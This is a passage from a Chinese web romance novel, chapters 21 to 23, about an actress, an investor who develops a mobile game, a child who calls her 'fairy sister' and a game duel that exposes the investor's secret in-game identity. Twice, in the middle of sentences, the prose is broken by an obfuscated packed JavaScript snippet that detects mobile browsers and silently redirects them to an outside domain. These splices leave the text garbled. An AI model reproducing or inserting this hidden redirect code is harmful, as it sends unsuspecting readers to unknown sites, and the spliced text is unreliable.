元时亦玩游戏时很少看教程,她一贯喜欢自己探索,网络上有一些整理好的PVP彩蛋攻略,但她并未想过设计的初衷原来是这样,这不仅极大地考验了玩家对原著的熟悉程度,还要求着玩家增添一些联想力。 听完颜屿的提点,元时亦立刻调整出一套新的连招。有了应对方式后,第二次遇见这位地岩时,元时亦成功拿下了这把11。 “谢谢颜总。” “不客气。”颜屿收下这道真诚的感谢,她学东西总是很快。 哦也没有总是,比如演戏一事上,她还不是那么开窍。 元时亦点开匹配,摩拳擦掌地期待下一把。 结果游戏刚加载进去,铺天盖地的消息就弹在了手机上方。 【路芙:啊啊啊姐】 【路芙:我就说今天我眼皮怎么一直跳,感觉有坏事要发生】 【路芙:原来是因为那!个!人!】 【路芙:居然是他坐在你旁边!!!】 【路芙:姐,你别怕,马上就下飞机了,飞机一停我立刻冲过去】 【路芙:[发怒]早知道我刚才就应该直接坐在那里,强行跟他换座位】 路芙显然还没有从“封杀”的阴影里走出来,她手速极快,通知一条接一条,闪得元时亦心里直冒汗。 要不是忙着操作游戏人物,她肯定会在第一时间把这些横幅滑上去。 元时亦赶紧往旁边坐了坐,不知道颜屿看到了没有…… 元时亦心脏紧缩着,不仅游戏内战况激烈,游戏外的事故也同样让人紧张。 肾上腺素的作用下,元时亦很迅速地结束了这场对战。 退出竞技场,元时亦小心翼翼转过脑袋,“不好意思啊颜总。” 她一边说一边观察颜屿脸上的表情,她在试探,试探颜屿到底有没有看见、有没有看清。 “没关系。” 三个字告诉她结论。 嘶。 真的看到了,而且,还看得很清楚。 “那什么,我家小助理是对你稍微有一丢丢误会,主要是怪我之前……”话到嘴边,元时亦又停顿下来,她不敢直说,毕竟最开始的时候,她对他确实有偏见,“总之,我后面会跟她好好解释的。” “嗯。” 元时亦心虚地解释着,而颜屿全程都“惜字如金”,似是一个字都不想多说。 颜屿将帽子压深,让她无法感知他的情绪。 完蛋,他不会不高兴了吧。 元时亦轻咽了咽口水,是啊,没人会在看到这种“坏话”的时候无动于衷吧。 以前她遇到这种事,不也是会—— “那你呢?” 短暂的沉默过后,颜屿乍然出声,像一记惊雷。 “啊?”元时亦满脑子都是惹颜屿生气她得采取什么方式补救,完全没想到颜屿会问些什么。 雷声很大,雨点却很小。 “你对我还有误会吗?” 嗒—— 雨滴落下,洇湿土壤。 这颗埋藏许久的种子,终于在这一天得到滋润。 元时亦的心跳在这一刻猛然加速,她听到了什么。 颜屿好像在,委屈。 是担心她还在误会他吗? 还是担心,她会讨厌他? 带着不知名的歉疚。 元时亦小声回应:“现在没有了。” 21. 小孩 飞机刚一平稳,路芙就以最快的速度冲到了元时亦这排座位边。 她不断地跟元时亦使眼色,同时不忘用眼角余光“攻击”旁边这位危险的男人。 虽然这个项目的各种成本都由他来承担,包括她这次的头等舱机票,但但但,“欺负”她的时亦姐绝对不行。 机舱门一打开,这个备受注目的男人就立即起身,三步并作两步地消失在两人眼前。 路芙在背后轻哼一声,算他识趣。 “小芙,”元时亦也站了起来,她朝路芙温柔地笑笑,“没事的。” “以后不用这么紧张了,之前是我对他有误会。” “啊?” 路芙完全不知道一趟短暂的旅程结束,她的姐怎么一下就转变了态度。 “他不会封杀我的。” 元时亦当然不是一下转变的态度,只是那些透着微妙的事情,她怎么会好意思跟路芙开口。 “真的?”路芙一脸将信将疑。 “嗯。”元时亦语气中带着肯定。他并不是她最开始以为的那种人。 “走吧,去拿行李。” 两人一路赶往行李提取处,元时亦眼神很好,刚走进大厅,她就发现了江燚的身影。 “江导?”她走过去打招呼。 江燚微笑着颔首,“小元。” 元时亦看了眼提示屏,起飞地是沪城。 “嗯,我们从沪城那边过来,飞机提前了点,正好跟你们差不多时间到。”江燚出声解释。 元时亦点点头,原来如此。 “颜屿应该也是你们这趟航班吧,他公司最近有点忙,不然几天前就该过来了。” 路芙陪在一旁,根本没明白大导演说着说着怎么就说到了那个人身上。 而被她搂住的元时亦,面上是平静如常地回应,心里却直发虚,颜屿不仅也坐这趟航班,还刚好就坐在她旁边。 跟江燚打完招呼,元时亦与路芙快速结伴离去。 江燚这边,元时亦前脚刚走,非也后脚就带着上好洗手间的儿子出现。 “行李还没出来?”非也看到远去的背影,“那个是小时亦吗?” “嗯,有点慢。是她,颜屿他们也是刚到,就在前边。” “颜叔叔吗?” 听见江燚的回答,施鎏仰起脑袋,眼里充满欣喜。 他很喜欢爸爸这位帅气的好友,这位叔叔不仅玩什么游戏都超级厉害,还经常会给他买各种有趣的玩具。 “是的。”看着施鎏,江燚似是想到什么,拉着他儿子朝远处一指,“就在那里,戴帽子的那个,看到了吗?” 不到十岁的小男孩稍稍踮起脚,果然见到眼熟的背影,“真的是颜叔叔!我要去找他。” “嗯嗯,快去吧,不然一会儿他拿到行李就该走了。” 江燚一边催促出声,一边推着施鎏的小身板将他往前送。 “那我走了,老爸。” 施鎏拉好T恤,系紧裤腰,拧正小天才手表,冲向目标。 待这个碍眼的臭小子消失,江燚立刻飞回非也身边。他仔细环视一圈,没有熟面孔。于是,他伸出手指,悄悄地牵在了另一只手上。 察觉到手部传来的异常,非也扭过头轻睨一眼,而江燚却早已别开脑袋,专注地目视空无一物的传送带,作出一副很忙的样子。 非也轻嗤一声,三十好几的人了,还惯会使用这些小动作。 没有拒绝,非也将手指扣紧了点。 颜屿身形卓越,站在人群中很是显眼,施鎏盯着这道身影一路小跑,还剩几米的距离,他就按捺不住兴奋,想要出声喊他。 颜屿一个轻微的侧头,施鎏没能憋住,大声唤了出来,“颜叔叔!” 咦,原来颜叔叔不是要回头,而是在跟旁边一个大姐姐说话。 可他的喊声已然传递了过去。 一道童声突兀响起,打断了颜屿未说完的话语。 元时亦下意识转过头,这声音,怎么觉得有点似曾相识呢? “颜叔叔,我来——哇……” 略带稚气的小男孩看清转过身的女人,欢实的语气一下降低了几度。 他整个人安静下来。 大姐姐虽然戴着帽子口罩,但只凭这双露在外面的眼睛,就能感觉到她很漂亮,尤其是,这头披散开来的乌黑长发,像丝绸,在发光。 红润的小嘴巴张成一个小小的“o”型,施鎏直愣愣地盯着元时亦,眼睛一眨不眨,直到,颜屿用指节敲了敲他的额头。 “呆了?” 元时亦本就心生意外,更不要说被人这么盯着,一时间,她被盯得有些不好意思,那种似曾相识的感觉很快消散干净,“这位是?” “非也老师的儿子,今年九岁。”颜屿轻拍施鎏的肩,提醒,“叫人。” 原来是非也老师跟江导的孩子。 元时亦微绷的情绪缓解下来。 施鎏听罢,身子立马一个站直,垂下头礼貌地给元时亦行了个礼,“仙女姐姐好。” 噗。 仙女姐姐? 元时亦差点笑出声。 这称呼,是不是太……夸张了点。 就是这直白劲儿,倒挺随他妈妈的。 她弯下身子,与施鎏的眼睛保持在同一水平线,“你好呀。” 小男生一旦嘴甜,就会显得很可爱。 可被仙女姐姐这么一个近距离的美颜暴击,施鎏的小心脏根本抵挡不住。一个后退,他差点踩上颜屿的板鞋。 还要继续看吗? 颜屿将他按稳。 施鎏抚抚心口,不敢了不敢了。 几人说话的功夫,元时亦的行李箱已经出现,路芙将它拿下,乖乖守在一旁。 不想让路芙等太久,元时亦起身与颜屿告别,“那颜总,我们就先走了。” 她其实也不太敢在颜屿身边待着,自飞机上下来后,她心里就乱糟糟的,总觉得有些事情没有理清楚。 “好,再见。” 目送完元时亦,颜屿才转过身将行李箱从传送带上拿起。 发现颜屿的动作,施鎏忙道,“诶颜叔叔,这是你的行李吗?我都看到它转两圈了,你居然才看到!” 施小鎏还没到情窦初开的年纪,自然是什么都看不懂。 颜屿压低眼眸,并未回复这个问题。 拉好伸缩杆,他伸出另一只手的拇指、食指与中指,轻按在施鎏的小脑袋上,让他转过来与他对视。 “石榴,跟你商量件事。” 石榴是施鎏的小名。 “啊,什么?” 施鎏立马竖起小耳朵,他这位颜叔叔可是很少这般严肃的。 “你也快十岁了,算起来我才大你十七,不到二十。” “嗯嗯。”施鎏小脑袋狂点。 “那你叫我哥哥怎么样?” “啊?” - 来到停车场,远远的,元时亦就看到一群蹲守在附近的人,剧组帮她安排了专用的保姆车,但不知是车太过显眼还是行程被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290600|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄露,她似乎是被“蹲点”了。 “完蛋完蛋,姐,这怎么办,要不我们晚点再出去吧。”路芙神情焦急,这地方初来乍到,人生地不熟的,她跟元时亦又是孤身两个女生,拦人都不好拦啊。 早知道就不用这什么专用车了,跟着其他人一起坐大巴还安全点。 元时亦将帽子下压,以往不是没有遇到过这种情况,只是这会儿她急着赶去剧组。 大部队们知道他们今日抵达,早早就准备好大餐为这支小分队接风。 群聊里很热闹,她不想迟到太久。 “让司机开到上面去,我们从出口上车。” 路芙刚要回“好”,身上的敌军雷达就滴滴作响。 一道令人警惕的声音响起。 “元老师坐我的车走吧。” 元时亦回头,颜屿正推着行李箱,站在拐角看她。 他还没走? 元时亦的心跳微微加速起来。 “姐,要上去吗?”路芙出声叫她,元时亦一直未给回应,而那些拿着相机蹲守的人就快要找到这边。 “不去了。”元时亦朝颜屿轻点头,她坐他的车。 颜屿没有让助理上去接自己,陆齐两天前抵达,要在这边提前布置一些预备工作,此刻,他正站在一辆GLS600旁,耐心静候着。 “颜总。” 熟悉的身影总算出现。 “嗯。” 然而,待到颜屿走近,他才发现老板身后居然还跟着个人。 陆齐定睛一看,这不是…… 陆齐眨了眨双眼,他才离开两天,老板的进度就一下拉到这么多了? 察觉到陆齐思维跑偏,颜屿开口解释,“那边可能有私生粉。” 这样啊,好吧,他还以为他马上就要吃到新鲜的一手瓜。 颜屿走到右侧,拉开车门,朝元时亦示意。 没有拖延,元时亦弯腰轻捂住低龄内搭的胸口,快速上了车。她今天穿的是小吊带加薄衫外套,下方是到脚的阔腿裤,山里温度稍低,这个搭配正好。就是这样面对面的距离,似乎有一点暧昧。 元时亦在车上坐下,抬头,正好撞见颜屿从门窗上撤下那只带有手绳的手。 他在帮她护顶。 垂下眼,元时亦感觉到心里那块模糊的地方好似在逐渐变清晰。 路芙恰好在此刻发来消息,她已成功坐上保姆车,准备出发了。 颜屿关好门,从另一侧上车。 陆齐紧随其后。 然而,就在陆齐刚坐进车内时,元时亦身旁的车门忽然被拉开。 陆齐一怔,不会是跟踪来的私生饭吧?!完,他还没来得及锁门呢! “颜叔叔,我想坐你的车。” 欢快的声音充斥在密闭的空间里,车内瞬间静止了一秒。 陆齐:这么小的私生粉?不对,这不是老板之前在横城带了几天的小男孩吗? 元时亦认出了他,忙将搭在车门上的手收回。 这个小男生看起来是要跟他们一起了。 施鎏凑近一看:妈呀,仙女姐姐竟然也在! 没料到施鎏会突然过来,颜屿微拧起眉,“跟你爸妈说了吗?” “说了,我爸也想让我来。” 颜屿:“……” 看着施鎏直直站在元时亦身旁,颜屿松开身上的安全带,这小孩一向是喜欢坐在后排的,所以才会将后车门直接拉开。 他闭眼叹了口气,“过来。你坐我这里,我去前面。” 22. 交锋 避暑山庄坐落在一个繁华小镇上,小镇地势低,四面环山,景色极好。 长久以来,镇民们都过着自给自足的生活,因此,这块极大程度保留了原始状态的天然胜地几乎不对外开放。 这次,若不是在场地组的再三保证下,镇长也不会同意把山脚下那块地租给剧组,当然,钞能力也是必不可少的。 机场距离小镇大约有两个小时的车程,车内开着温度适宜的空调,依旧是不置一物的简约风格。 元时亦轻扬起帽檐,后视镜偏向左侧,她这个角度,并不能看见前方所坐之人。 那道叹气声很浅,却也很近。 他应该,不是很习惯坐副驾驶吧。 “颜叔叔,我想喝水。我忘记把水杯拿过来了。” 童声乍起,将沉默氛围脆生生打破。 元时亦顺势低下眸,将思绪收拢。 “车上准备水了吗?”颜屿问陆齐。 “准备了,在冰箱里。” 施鎏听罢,连忙解开安全带,去开位于后排中央的车载冰箱。 冰箱门有两层,箱体位于后备箱的位置,比较靠后。 看见施鎏忙碌的小动作,元时亦侧身搭了把手,她拿出一瓶矿泉水,“来,给你。” “谢谢仙女姐姐!” 听见施鎏还是这么叫她,元时亦朝他弯了弯眼,“叫我小元姐姐就可以了。” 施鎏不确定地问:“是一元硬币的那个元吗?” “对。” “哦!”他似是想起什么,前倾身子对颜屿道,“颜叔叔,我之前看你本子上画——” “你喝吗?” 小孩子的思维向来跳跃,稍有不慎就会产生各种不该产生的联想。 没有给施鎏继续往下说的机会,颜屿紧急掐断了这场回忆。 “啊,我吗?”突然被问,元时亦差点没反应过来。她其实没有太渴,但很明显,此情此景,她最好是喝一下。“那,那我也喝一瓶吧。谢谢颜总。” “嗯。”微侧过身,颜屿冷声提醒施鎏,“回去,喝完把安全带系好。” “哦,知道了。”施小鎏缩回身体,垂着头,颜叔叔今天有点凶凶的。 失落的小情绪传来,元时亦趁喝水的空档,轻抚了一下这颗毛绒绒的小脑袋,“他说话老这样,咱不理他。需要姐姐帮你系吗?” 坐在前方的人一个梗住,他有老是这样吗…… “不、不用,我自己可以……”得到安慰,施鎏下颌微仰,小孩子的情绪总是来得快又去得快,只是这一抬眼,他就看见元时亦那双黑宝石般的眼正亮亮地注视他,她摘了口罩,比他想象中更像仙女。 在发觉嘴巴又要张成“o”型时,施鎏赶紧伸手捂在嘴唇上。 “嗯?怎么啦?”元时亦歪头。 施鎏深呼一口气,他原本以为这世上只有他妈妈一位仙女的。拧紧瓶盖,施鎏清清嗓子,正色开口,“小元姐姐,我能加你的联系方式吗?” 前排男人身体一僵,什么玩意儿?! 这小屁孩干什么呢! 听到施鎏的问题,元时亦面色一愣,话题转得这么快吗? 没耽搁太久,元时亦滑开了手机,她并不排斥这件事,“可以呀,微信还是——” 比起某些人,还是这种一上来就直说的,更让她能接受。 而某些人已然是坐不住了,“微信”二字太过刺耳,他迂回了两个月才拿到的东西,这小屁孩不到二十分钟就要得手了? 颜屿强行挤进两人的对话中,“不方便的话可以不加,他一小孩没什么好联系的。” 若放在平时,元时亦确实会觉得不方便,她一向很注重社交隐私,但现在,这位作为非也老师儿子的小男生,算不上陌生人,可以加。 这回轮到施鎏惹颜屿不爽,施鎏摇摇脑袋,“我没有微信,手表里只有微聊。或者我们也可以直接打电话。” “没有微信吗?” 施鎏点头,“嗯。” 想到如果是微聊,小元姐姐还得另外下载App,施鎏握拳锤了下手掌,一锤定音,“就加电话吧。” “行。” “那我跟我妈妈说一下。”出于安全考虑,儿童手表的很多功能都由父母控制。他想在通讯录添加元时亦的号码,需要非也那边新增。 “妈妈,我想加小元姐姐的电话。” 非也放大的声音从手表上传出,“小元姐姐?”听见自家儿子这道称呼,非也的八卦之心立刻被点燃,“她也在颜叔叔车上吗?” 没有回答施鎏的话,而是抛出一个新的问题,被cue的元时亦耳垂泛起一点红意。 “是的,她也在,就在我旁边。” “这样呀,”非也语调温温柔柔,掩盖不住的笑意伴随着话语染进车内,“那小元姐姐同意了吗,你没有缠着人家吧。” “没有!小元姐姐立马就同意了。”施鎏一脸洋洋得意,他这么可爱,小元姐姐才不会拒绝他,反倒是颜叔叔一直想要打岔。 车窗上,不知是因为贴了防窥膜还是其他原因,那张一贯温和的脸在此时覆上一层冷意,显得有些黑。 “好,那你把号码发给妈妈,妈妈帮你添加进去。” 号码添加成功后,施鎏立即试着拨出。 手机屏幕亮起,元时亦连忙接通。 “小元姐姐,我是施鎏。”大大的声音在耳侧,小小的声音在听筒。两道交织,形成奇妙的立体音效。 “诶,我听到啦。” 然而元时亦应完声,施鎏却并未将电话挂断,他又叫了一个人,“颜叔叔。” 颜叔叔? 三个字从听筒里传出,元时亦猛地坐直,这声音,她绝对听过! 可怎么想不起来了,是在哪儿来着…… 被喊到的男人不经意间回过头,淡声回应,“嗯。” 说完,颜屿抬起偏薄的上眼皮,将视线转至元时亦的双眼上,漫不经心地问:“怎么了?” 元时亦好看的眉头皱了皱,“感觉有点耳熟。” 颜屿别开目光,重新回到座位,只轻描淡写抛出一句:“是吗,小孩的声音,应该都差不多吧。” - 与大部队正式汇合后,元时亦又开始了充实而忙碌的拍戏工作。 由于前期的搭景没有达到江燚的标准,部分戏份被延期,拍摄压缩到一起,主角团四人在经历过不眠不休的数日赶工后,终于将进度拉至原定计划。 “天,我感觉自己要死了。”方想躺在休息大厅的沙发上,有气无力地控诉:“江燚你不是人啊不是人!” 方想所占的外景戏最多,他这一周,平均每天只睡了四个小时不到,睡眠严重不足,以至于做造型的时候都能直接眯着。 扮演妹妹的舒妤同样也没好到哪里去,百里幽的武器是长鞭,要甩出气势,就得使使劲儿。 中午收完工,四人一起约着叫了个外卖大餐,权当自我犒劳。 周泽洋:“终于能休息半天了。” 江燚给四人小队放了半天假。 “那吃完饭就回去补觉吧。”元时亦和周泽洋一起整理着茶几上的餐盒,另外那俩“兄妹”几乎已累到没有力气吃饭。 而元时亦因为前面两个月忙过一轮,相比之下就要轻松一点,至少睡眠是充足的。打开手机,她打算趁这个时间把游戏剩余的日常清一清,下午好跟亲友们打本。 “诶,时亦,你《诸灵》是不是玩得挺好的?” 舒妤凑到元时亦身旁瞅了一眼,她印象中,好像有谁跟她提过这茬儿。 “还可以吧。”元时亦不敢把话说得太大,玩游戏,最重要的就是要谦虚。 话刚说罢,大厅玻璃门被推开,丁除拎着一袋东西走进,“几位这几天辛苦了,我准备了一点补品。” “补品?”方想连忙坐正,丁老师的补品,很难不去想是怎样的“黑暗料理”,“补品就不用了吧,我们点了外卖。” 丁除的身材保持得很好,有一回他心血来潮跟丁除互换午餐,吃完他就觉得人生再也没有了乐趣。水煮菜、干煎肉,健康无污染,活着没意思。 “小方放心,这次不是我的那种餐食,是我煲的汤。” 丁除从打包袋中拿出两个保温桶,以及四个崭新干净的小瓷碗。 “丁老师自己煲的吗?”舒妤前身查看。 “嗯。”丁除说着打开其中一份,“这个是专门为女士滋补气血的,我爱人教给我的食谱。”他先帮元时亦跟舒妤各盛上一碗,“请喝。” 元时亦小心接过,浅尝完一口,她不自觉睁大眼,“好喝诶。” 舒妤正好也在这时喝下,“哇,仙品。” 丁除礼貌一笑,“谢谢。” 听完两人的评价,方想的“深刻印象”立刻被抛之脑后,他主动打开另一份,“那这个呢?是给我俩准备的吧?” “对,男士体力消耗太大,可以喝这个补充精气。” 方想听罢,忙给自己来了一碗,“嚯,这味道真不错啊,我感觉我又充满能量了。” “你们还年轻,身体还是很容易恢复好的。平时锻炼锻炼,有空爬爬山、跑跑步,体质就能好许多……” 四人对视一眼,完,地蚩先生的小课堂又要开始了。 方想埋头给舒妤使了个眼色。 舒妤快速将碗中东西喝干净,在丁除继续说下去前,成功将话题带偏:“哎,咱们平时有空的时候就只想在家躺着,搞点娱乐活动什么的,”说着,她瞄向元时亦手里的东西,顺势道,“对了,丁老师玩游戏吗?” “什么游戏,《诸灵》吗?”丁除看到了元时亦手机屏幕上显示的画面。 “嗯嗯嗯。” 于是,组好队的五人开启了一把临时五黑。 方想率先倒地。 “不是,你们这个段位咋这么难啊。” “是你太菜。”周泽洋毫不客气地讲出实情。 方想瘪瘪嘴,游戏一事上,他的确略逊一筹。 突地,门外响起一阵对话声,是导演组与颜屿,一行人刚吃过午饭,正在送颜屿离开。 这位颜总最近来片场有些勤,虽然每次待的时间都不长,但他看到了就会去跟这位投资人打招呼,一来二去,两人也算是混熟了。 方想小脑筋这么一转,“等着,我也有场外援助。” 五分钟后,方想拉着颜屿出现在大厅。 “找了个代打。” 方想最开始玩诸灵时,玩的并不是现在这个职业。在拿到百里炀一角后,他便将职业换成了以火之灵为原型的明焰。因此,他没那么擅长,也是情有可原。 而他之所以会找来颜屿,是因为曾在片场见过他玩游戏,职业正是明焰。作为开发者的颜总,总不至于比他还菜吧。 当然不至于,在一把带飞后,颜屿瞬间收获几个迷弟迷妹——只是这其中并不包括元时亦。 元时亦的单人竞技场段位很高,自然是见过许多技术不错的玩家。像颜屿这样的,是不多见,但也不算稀有。 就是这个手法,好像有点眼熟。 又一把胜利后,方想“狐假虎威”道:“不行啊,颜总一来,把把碾压,这竞技场对你们来说简直太容易了。” 周泽洋:“你可以亲自上阵给我们上点强度。” “那还是不了,兄弟我人好。”方想对自我定位还是很清晰的。为了防止被拉上场,他赶紧又给自己盛了碗汤。 “你们还喝吗,我给你们倒。”玩游戏他不在行,端茶送水还是可以的。 “我再来一碗这个,麻烦想哥。”元时亦朝方想示意了下。不得不说,丁老师虽然吃得清淡,但这煲汤却很有一手。 听到元时亦的回复,坐在方想身边的男人视线稍稍抬起,落到面前的茶几上。家用保温桶,精美陶瓷碗,不是外卖,更像是自己做的。 启唇,他不着痕迹地问:“这汤是……” 方想是个热心肠,看丁除在整理技能,他便主动回复道:“丁老师亲自煲的,味道非常不错。”他伸着手边指边介绍,“这份是给女生的,补气血,这份给男生,补精气。” 说罢他抬起保温桶查看一番,“就是被我喝得差不多了,不然还可以给颜总你来一碗。” “没关系,我只是好奇问一问。”颜屿收回视线,“游戏你还玩吗?” “不了不了,”方想头摇得像拨浪鼓一般,“我观战。” 几局观战完毕,方想摸着下巴发出一阵沉思,“难道这就是开发者吗,恐怖如斯。”他回味着颜屿刚刚使用的一套连招,“先别五黑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290601|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜总你打把11给我开开眼吧。” “行。” 丁除收起手机,虽然他玩的是地岩,但他也很好奇,这位小颜总是怎么能把明焰这一职业玩得如此出神入化的。而一旁小有技术的周泽洋也是同理,于是三个男人凑到颜屿身边,开启了围观模式。 舒妤对竞技就没那么感兴趣,她的注意力明显在另一件事上:“时亦,你还绑了情缘呀?” 她俩刚加上好友,出于好奇,舒妤看了眼她的资料。 “啊,嗯。”没想到舒妤会问出来,元时亦思绪紧绷了一刹。 “情缘”这个词,在游戏中通常代表着最亲密的异性关系,而作为开发者的颜屿肯定知道这意味着什么。 一阵没由来的心虚涌上,元时亦闪着眼睫解释道:“只是工具人,亲友队里绑定情缘的话可以用情缘技能,能增加打本容错。” “工具人”三字一出,对面男人一个手滑,差点没能躲掉控制技能。 周泽洋:“嘶,好险。” 颜屿:“失误。” 方想凝重点头:“这么看来我全是失误,难怪我这么菜。” 众人:…… 这局结束后,方想段位直接升了一级。 “天,原来升段这么容易吗?”他之前可是打了好几天都没能打上去,“颜总,你这也太厉害了,简直是我身边最厉害——” 话说到一半,方想突然停下,他看到了对面跟舒妤闲聊的元时亦,说起来元时亦打PVP他也看过,一样很凶猛,尤其是,她玩的还是他最害怕的长水。 他记得那时他不知天高地厚,看元时亦在打游戏便凑上去求切磋。 结局嘛,自然是被她吊起来锤了三把,以至于后面好几天他打11的时候看见长水就发怵。 他挪了挪身子,小声问:“颜总,你会打长水吗?” 颜屿一边操作着游戏,一边毫不犹豫地回:“会。” 回答问题的男人全然不知,他即将被带入怎样的陷阱。 “我这个段位对你来说没难度,我给你找点难度咋样?” “嗯?”颜屿不解。 方想仰起下巴示意着对面之人:“要不你俩,solo一把呢?” 跟颜屿solo? 元时亦还未平稳的情绪又被掀起波浪。 “既然你俩都很厉害,那不得比试比试,看看谁更胜一筹?”方想起着哄,另外三人也将注意力全部转移过来。 对于这样一场“交锋”,没有人不会好奇结果。 “好。” 元时亦也同样好奇,她想知道,他所说的会打长水,是会到什么地步。 点击方想的账号,元时亦对颜屿发出邀请。 而颜屿,作为在场六人之一,其实是唯一一个不想接下这场对战的人。 他曾经与元时亦打过很多次11。 用【与山言】的身份。 那时他刚加入她们小队不久,由于元时亦对“富哥”的偏见,她一度以为他能通过面试只是出于运气,直到他认认真真把她打了个3:0。 不怪他不“怜香惜玉”,他实在是很怕元时亦把他踢出去。 而元时亦也很输得起,她为自己的怀疑态度跟他道歉,她真正接纳了他,也开始拉着他不停打11练习。 元时亦的原话是,她没有见到过这么会应对长水的明焰。水克火,长水可以压制明焰,因而她会下意识认为,自己的职业有天然优势,偶尔的失误也能够被允许。 他教她的是,任何一次失误都有可能造成一场对决的逆转。 她进步得很快,从最开始的0:3,到1:2,再到2:1,最后到3:0,她已经可以跟他打个平手。 他锻炼了她的技术,也同时,让她了解了他的一切操作习惯。 他不一定会赢,但也不可以故意输。 在一次下意识的小连招使用后,颜屿心中“咯噔”一声。 “时亦,你要没血了哦。”方想也没想到本还难分胜负的战场怎么就忽然倒向了颜屿这边,元时亦犯了一个连他都能看出来的错误。 而作为与元时亦亲自交手的颜屿,自然能看出她的真正意图。 她在试探他的连招方式。 他告诉过她明焰的这个小技巧,可以断长水的增益技能,所以她特意将它暴露出来,看他会不会过来打断。 他果然没能忍住“引诱”,主动跳进她布好的漩涡。 他以为,时间过去这么久,她不会再记得。 元时亦漂亮的眸子被压深,她是不该记得的,因为这么久以来,她只遇到过一个会主动断增益技能的明焰,也就是【与山言】。她已经很久没有跟与老板打过11,如果不是见到熟悉的操作,她确实想不起来这件事。 颜屿居然也会用这个技巧。 “我认输。” 她拿血条去冒险,就注定她在得到结果后会输掉比赛。 “啊,这不是还没死吗,万一你丝血反杀了呢?” 方想还没看过瘾,他知道她有这个实力,他见过因为网络卡顿元时亦被打得只剩个血皮,结果最后关头她走位躲过所有技能完成完美的极限反杀。 “颜总比我想得厉害,我打不过。” 一句似有深意的话。 颜屿手心冒出细密的汗,他尝试着将这件事圆过去:“元老师打得很好,我是托了开发的福,明焰这个职业由我全权操刀,所以会比较了解。再加上我平时也会逛论坛,会关注玩家的操作,刚才的一些连招,就是跟玩家学的。” “什么!这个职业是颜总你设计的?”方想再次冒出星星眼,“难怪这么帅。” 元时亦抿起唇,这话倒是不假,在刚加上颜屿微信时,她偷偷翻过他的朋友圈,里面全是工作内容的分享,其中的确有一篇关于职业设计的访谈。 只是,真的会这么巧吗? 他与她之间的巧合,是不是有点太多了? 时间一分一秒过去,颜屿呼吸放缓,不动声色地用余光观察她的表情。 现在只有一个人能救他了。 半小时时间到。 颜屿果然看到元时亦脸上浮现出一抹愕然。 元时亦的游戏界面上,显示出一句话: 【您的情缘[与山言]已上线】。 23. 往事 进入八月,元时亦也加入到外景大军中。 山谷的风夹杂着清淡的草香,沁人心脾。 早上起了薄雾,氤氲于山野丛林间,像一层被染湿的轻纱。 第一缕阳光出现,拨云散雾,江燚激动地催促众人:“快快快,这个镜头太棒了,演员就位!” 元时亦戴着威亚,在无尽青绿中快速穿梭。 半小时后。 “完美!”江燚举着喇叭,“收工。” 元时亦白天只有一场晨戏,她凌晨三点就抵达现场做造型,为的就是不错过江燚口中的山谷日出。 “果然还得是实景啊,特效没这个味儿。”江燚翻着摄像机里录制的视频,止不住赞叹。 元时亦正好在此刻走到他身边,“江导,我的美瞳快用完了……” 由于眼睛太过明亮的缘故,江燚找专人替她定制了一款压光的日抛美瞳,美瞳在强光下会呈现出一点深海蓝,平常则是雾面的黑,正好也能帮她调一下瞳色。 只是拍戏间隔时间过长时,她就需要重新更换,再加上平时的一些损耗,两个月下来她使用的速度要比预想中快得多。前几日江燚跟她提过,新的镜片这两天就会到,她本来也是不急的,结果化妆师在帮她戴美瞳时,大概是因为都没睡够,两个人没配合好,镜片掉到地上,又浪费了一副。 她现在的存货只够再拍两场。 “哦哦哦,差点把这事忘了。”江燚拍了下脑门儿,“别担心,颜屿今天正好从沪城过来,我让他顺道帮你捎上,省得再走邮寄了。” 元时亦微怔,“颜总吗?” “嗯嗯。”江燚看着面前的年轻女生,一脸意味深长,“很久没见到他了吧?” 很久没……见。 元时亦被这句话里有话的问题问得不知该怎么回,一股奇怪的羞耻感从心底涌出,耳根发赧。 发觉玩笑开得有些过了,江燚赶忙转移掉话题,“好了,快回去休息吧,今晚的夜戏还有得磨。” “好。” 元时亦轻吐一口气,庆幸江燚没有再问。 但她确实很多天没有看到他了。 自那次solo战过后,颜屿有小半月没来剧组。 听说他回了沪城,公司有事要忙。 元时亦换下戏服,有什么事会让他忙这么久? 是《诸灵》的比赛吗? 比赛上周六正式开启,她那日拍了一整天的戏,连热闹都没凑上。 难道他确实还在管游戏? 她以为,他会跟着他们来避暑山庄,代表他的重心已全部放到影视上,游戏相关的事情,他不会再参与。 颜屿确实还管理着游戏,他是《诸灵》手游主要负责人的这件事,从未改变过。 中午一点,合一大楼内。 夏季与颜屿吃过午饭,一起回到颜屿办公室。 这次的游戏比赛举办得很成功,由于颜屿把排期定得很前,项目进度并不算赶,制作组各成员按部就班地排查着各种可能存在的漏洞,最终提前一周完成新版本内容,以防万一,颜屿又留在这守了近十天,确定不会出现其他问题后,他选择在今天赶回《诸灵》剧组所在的岫围镇。 “下午几点的飞机?” “五点。” 三个小时的航程,再加两小时车程,他最早也要晚上十点才能到。 “哎,陷入爱河的男人呐。”夏季边说边摇着头感叹,一副看破红尘的过来人模样,殊不知他自己也是个打了近三十年的老光棍。 “下次生日你就该成魔法师了。” 夏季:“**,@#¥%…&*” 夏季:“有你这么跟好兄弟说话的吗?忘记上个月怎么求着哥们帮你上号了?” 